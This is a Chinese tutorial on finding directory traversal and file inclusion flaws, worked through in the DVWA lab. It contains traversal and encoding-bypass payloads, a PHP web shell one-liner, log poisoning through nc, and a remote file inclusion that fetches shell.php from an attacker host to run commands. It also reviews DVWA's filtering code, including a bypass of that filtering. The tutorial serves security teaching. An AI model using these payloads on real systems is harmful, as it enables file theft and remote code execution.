手动漏洞挖掘(三)---目录遍历与文件包含漏洞

目录遍历(路径遍历)是由于web服务器配置错误或者web应用程序对用户输入的文件名称的安全性验证不足,使得攻击者通过利用一些特殊字符绕过服务器的安全限制,读取本地任意文件;
文件包含是指可以通过特定函数将里一个文件的内容或代码加载至当前页面。如,服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行;漏洞利用方法与目录遍历相差无几。

简介

目录遍历(路径遍历)是由于服务器权限配置不当,攻击者访问本地任意的文件(可以是Web根目录以外的文件)造成信息泄露。文件包含漏洞与目录遍历漏洞类似,但还是有些区别,文件包含包括本地文件包含(LFI)和远程文件包含(RFI)。目录遍历可以理解为本地文件包含,而利用远程文件包含可以实现远程代码执行,危害巨大。

php的代码里,要想实现远程包含需要开启allow_url_include

1
2
/etc/php5/cgi/php.ini
allow_url_include = On

注: 有一种常见web漏洞叫目录浏览(Directory Browsing),这种漏洞会暴露网站的文件目录列表,与目录遍历容易混淆。

漏洞的常见特征

  • ?page=a.php
  • ?home=b.html
  • ?file=comtent

经典的测试方法

1
2
3
4
5
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt

编码绕过字符过滤

  • “.” , “%00” # 绕过文件扩展名过滤
    • ?file=a.doc%00.php
  • 使用多种编码尝试

不同操作系统的路径特征字符

  • 类unix系统
    • 根目录: /
    • 目录层级分隔符: /
  • Windows系统
    • C:\
    • \或/

编码

  • url编码、双层url编码

    • %2E%2E%2F      解码:../
    • %2E%2E%5C      解码:..\
    • %252E%252E%255C    解码:../
  • Unicode/UTF-8编码

    • ..%c0%af      解码:../
    • ..%u2216
    • ..%c1%9c      解码:..\

其他系统可能使用到的字符

1
2
3
4
5
6
file.txt...
file.txt<spaces>
file.txt""""
file.txt<<<>>><
./././file.txt
nonexistant/../file.txt

UNC路径

1
\\1.1.1.1\path\file.txt

字典FUZZ

除了上面的方法外,也可以通过字典的方式进行FUZZ
kali系统自带的针对目录遍历漏洞的字典

1
/usr/share/wfuzz/wordlist/Injections/Traversal.txt

漏洞PoC

测试:

1
http://10.0.2.5/dvwa/vulnerabilities/fi/?page=include.php

image

本地文件包含

1
?page=../../../../../etc/passwd

image

利用http协议实现远程文件包含(allow_url_include)

1
?page=http://www.baidu.com

image

本地文件包含LFI

通过日志文件实现代码执行

日志信息位置/var/log/apache2/access.log

要想实现该实验,必须拥有可以读和执行日志文件的权限。

1
sudo chmod -R 755 /var/log/apache2/

用nc想目标80 端口发送一句话木马

1
2
root@kali:~# nc 10.0.2.5 80
<?php echo shell_exec($_GET['cmd']);?>

image

查看日志信息,此时发送的信息就会被记录下来
image

通过本地文件包含漏洞执行代码

1
?page=/var/log/apache2/access.log&cmd=id

image

远程文件包含RFI

在Kali机器创建shell.php文件

1
<?php echo shell_exec($_GET['cmd']);?>

用python搭建简单的http服务器

1
2
root@kali:~/test# python -m "SimpleHTTPServer"
Serving HTTP on 0.0.0.0 port 8000 ...

远程包含攻击者的木马文件

1
?page=http://10.0.2.15:8000/shell.php&cmd=id

image

源码分析

low

1
2
3
4
<?php

$file = $_GET['page']; //The page we wish to display
?>

low级别的代码没有任何过滤,可直接利用

medium

1
2
3
4
5
6
7
8
 <?php

$file = $_GET['page']; // The page we wish to display

// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>

medium级别的代码做了一点防护,把”http://“,”https://“替换成空字符,因为只是做了一次替换,所以很好绕过
只需在”http://“中在加入一个”http://“

1
?page=hthttp://tp://www.baidu.com

high

1
2
3
4
5
6
7
8
9
10
 <?php

$file = $_GET['page']; //The page we wish to display

// Only allow include.php
if ( $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}
?>

high级别的代码做了白名单限制,只允许include.php文件通过。